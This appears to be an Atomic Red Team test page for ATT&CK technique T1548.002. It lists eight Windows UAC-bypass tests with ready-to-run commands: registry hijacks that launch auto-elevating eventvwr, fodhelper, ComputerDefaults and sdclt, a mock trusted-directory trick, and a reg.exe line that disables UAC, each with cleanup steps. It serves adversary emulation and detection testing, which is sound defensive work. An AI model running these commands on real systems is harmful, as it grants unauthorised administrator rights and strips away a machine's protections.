T1548.002.md

T1548.002 - Bypass User Account Control

Description from ATT&CK

Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)

If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated Component Object Model objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of Rundll32 to load a specifically crafted DLL which loads an auto-elevated Component Object Model object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)

Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

• eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)

Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)

Atomic Tests

• Atomic Test #1 - Bypass UAC using Event Viewer (cmd)

• Atomic Test #2 - Bypass UAC using Event Viewer (PowerShell)

• Atomic Test #3 - Bypass UAC using Fodhelper

• Atomic Test #4 - Bypass UAC using Fodhelper - PowerShell

• Atomic Test #5 - Bypass UAC using ComputerDefaults (PowerShell)

• Atomic Test #6 - Bypass UAC by Mocking Trusted Directories

• Atomic Test #7 - Bypass UAC using sdclt DelegateExecute

• Atomic Test #8 - Disable UAC using reg.exe

Atomic Test #1 - Bypass UAC using Event Viewer (cmd)

Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ Upon execution command prompt should be launched with administrative privelages

Supported Platforms: Windows

Inputs:

Name	Description	Type	Default Value
executable_binary	Binary to execute with UAC Bypass	path	C:\Windows\System32\cmd.exe

Attack Commands: Run with command_prompt!

reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "#{executable_binary}" /f
cmd.exe /c eventvwr.msc

Cleanup Commands:

reg.exe delete hkcu\software\classes\mscfile /f >nul 2>&1

Atomic Test #2 - Bypass UAC using Event Viewer (PowerShell)

PowerShell code to bypass User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ Upon execution command prompt should be launched with administrative privelages

Supported Platforms: Windows

Inputs:

Name	Description	Type	Default Value
executable_binary	Binary to execute with UAC Bypass	path	C:\Windows\System32\cmd.exe

Attack Commands: Run with powershell!

New-Item "HKCU:\software\classes\mscfile\shell\open\command" -Force
Set-ItemProperty "HKCU:\software\classes\mscfile\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
Start-Process "C:\Windows\System32\eventvwr.msc"

Cleanup Commands:

Remove-Item "HKCU:\software\classes\mscfile" -force -Recurse -ErrorAction Ignore

Atomic Test #3 - Bypass UAC using Fodhelper

Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10. Upon execution, "The operation completed successfully." will be shown twice and command prompt will be opened.

Supported Platforms: Windows

Inputs:

Name	Description	Type	Default Value
executable_binary	Binary to execute with UAC Bypass	path	C:\Windows\System32\cmd.exe

Attack Commands: Run with command_prompt!

reg.exe add hkcu\software\classes\ms-settings\shell\open\command /ve /d "#{executable_binary}" /f
reg.exe add hkcu\software\classes\ms-settings\shell\open\command /v "DelegateExecute" /f
fodhelper.exe

Cleanup Commands:

reg.exe delete hkcu\software\classes\ms-settings /f >nul 2>&1

Atomic Test #4 - Bypass UAC using Fodhelper - PowerShell

PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10. Upon execution command prompt will be opened.

Supported Platforms: Windows

Inputs:

Name	Description	Type	Default Value
executable_binary	Binary to execute with UAC Bypass	path	C:\Windows\System32\cmd.exe

Attack Commands: Run with powershell!

New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"

Cleanup Commands:

Remove-Item "HKCU:\software\classes\ms-settings" -force -Recurse -ErrorAction Ignore

Atomic Test #5 - Bypass UAC using ComputerDefaults (PowerShell)

PowerShell code to bypass User Account Control using ComputerDefaults.exe on Windows 10 Upon execution administrative command prompt should open

Supported Platforms: Windows

Inputs:

Name	Description	Type	Default Value
executable_binary	Binary to execute with UAC Bypass	path	C:\Windows\System32\cmd.exe

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
Start-Process "C:\Windows\System32\ComputerDefaults.exe"

Cleanup Commands:

Remove-Item "HKCU:\software\classes\ms-settings" -force -Recurse -ErrorAction Ignore

Atomic Test #6 - Bypass UAC by Mocking Trusted Directories

Creates a fake "trusted directory" and copies a binary to bypass UAC. The UAC bypass may not work on fully patched systems Upon execution the directory structure should exist if the system is patched, if unpatched Microsoft Management Console should launch

Supported Platforms: Windows

Inputs:

Name	Description	Type	Default Value
executable_binary	Binary to execute with UAC Bypass	path	C:\Windows\System32\cmd.exe

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

mkdir "\\?\C:\Windows \System32\"
copy "#{executable_binary}" "\\?\C:\Windows \System32\mmc.exe"
mklink c:\testbypass.exe "\\?\C:\Windows \System32\mmc.exe"

Cleanup Commands:

rd "\\?\C:\Windows \" /S /Q >nul 2>nul
del "c:\testbypass.exe" >nul 2>nul

Atomic Test #7 - Bypass UAC using sdclt DelegateExecute

Bypasses User Account Control using a fileless method, registry only. Upon successful execution, sdclt.exe will spawn cmd.exe to spawn notepad.exe Reference - sevagas.com Adapted from MITRE ATT&CK Evals

Supported Platforms: Windows

Inputs:

Name	Description	Type	Default Value
command.to.execute	Command to execute	string	cmd.exe /c notepad.exe

Attack Commands: Run with powershell!

New-Item -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Value '#{command.to.execute}'
New-ItemProperty -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "DelegateExecute"
Start-Process -FilePath $env:windir\system32\sdclt.exe
Start-Sleep -s 3

Cleanup Commands:

Remove-Item -Path "HKCU:\Software\Classes\Folder" -Recurse -Force -ErrorAction Ignore

Atomic Test #8 - Disable UAC using reg.exe

Disable User Account Conrol (UAC) using the builtin tool reg.exe by changing its registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA from 1 to 0

Supported Platforms: Windows

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

Cleanup Commands:

reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 1 /f